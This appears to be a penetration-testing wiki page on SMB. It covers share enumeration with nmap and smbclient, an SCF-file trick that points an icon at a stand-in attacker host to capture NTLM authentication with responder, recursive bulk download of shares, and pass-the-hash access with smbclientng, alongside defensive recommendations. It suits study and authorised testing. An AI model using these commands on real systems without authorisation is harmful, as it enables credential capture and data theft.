SMB
Enumerate SMB shares, understand SCF-triggered authentication and retrieve accessible files.
SMB exposes file shares and inter-process communication on 139 and 445/TCP. Share listings, share access and file permissions are separate observations.
Detection
nmap -p 445 --script smb2-security-mode <IP>Enumeration
This negotiates SMB2/SMB3 dialects and reports signing policy. “Enabled but not required” differs from “required”; neither output identifies a vulnerable Windows or Samba build. This script does not assess SMB1 signing.
Choose the next path
- Share access: list shares, then inspect a selected share using the same identity. Listing a name does not establish file access or write permissions.
- Samba identified: compare its package revision and configuration with Samba advisories. The historical usermap_script example is a specific configuration-dependent path, not the default next step for any Samba server.
- Windows identified: check the OS build and updates before following a historical path such as MS17-010.
- NTLM relay hypothesis: evaluate the receiving service. SMB signing policy does not establish whether an HTTP ADCS enrollment endpoint enforces EPA.
List and inspect a share
The first command attempts an anonymous session. The second uses a known account and prompts for its password:
smbclient -L '<SERVER>' -N -U ''
smbclient '//<SERVER>/<SHARE>' -U 'DOMAIN/user'At the interactive prompt, ls lists the current directory and
get "example.txt" retrieves one selected file. An access denial applies to
that identity and operation; it does not prove the share is absent.
Broader enumeration tools
enum4linux-ng and smbmap can collect additional information. Choose their
modules explicitly for the installed release rather than chaining every tool
by default. Recursive listing and download options increase the volume accessed.Exploitation
SCF Files
An SCF file can reference an icon over a UNC path. If a Windows client resolves that icon, it may attempt outbound SMB authentication. This depends on client behavior and policy, not merely on writing the file to a share:
[Shell]
Command=2
IconFile=\\X.X.X.X\EXP\exploit.ico
[Taskbar]An SMB listener can receive that authentication attempt:
responder -wrf --lm -v -I eth0 or smbserver.py -smb2support EXP ./
Captured NTLM challenge-response material is not the plaintext password or the account’s reusable NT hash. Capture and successful relay are different results.
Recommendations:
- Use of Kerberos authentication and SMB signing
- Disallow write permissions in file shares for unauthenticated users
- Disable legacy LM/NTLMv1; NTLMv2 alone does not prevent capture or relay
Resources: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
Exfiltration
smbclient
If a share is listed as readable, it can then be browsed with smbclient:
# Anonymous session attempt
smbclient --no-pass --user '' '//<SERVER>/<SHARE>'A random username does not force Guest access: guest mapping is server policy.
Recursive retrieval of a selected directory
After changing to the intended directory with cd, download recursively:
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *smbclientng
The smbclientng tool provides useful additional features compared with the base command. First, it allows a connection with an NTLM hash:
smbclientng -H ':<NT_HASH>' -u '<USER>' --host <IP>Then, a few features are worth noting:
bat: same as cat but with syntax highlightingget -r *: equivalent to mgetmount: mounts a share on the local machine
Sources and freshness
Version 3, reviewed 2026-11-24: Nmap smb2-security-mode and Samba smbclient manual. Command options were checked documentarily; no SMB server was tested.
Provenance and confidence
- Version
- 3
- Sources reviewed
- 2026-11-23
- Confidence
- medium — V3 on 2026-11-24 checks signing discovery and smbclient examples against Nmap and Samba manuals, and adds product-specific navigation. SCF and other legacy tool examples remain untested.
Also searched as: smb, partages smb, scf, enum4linux, 139/tcp, 445/tcp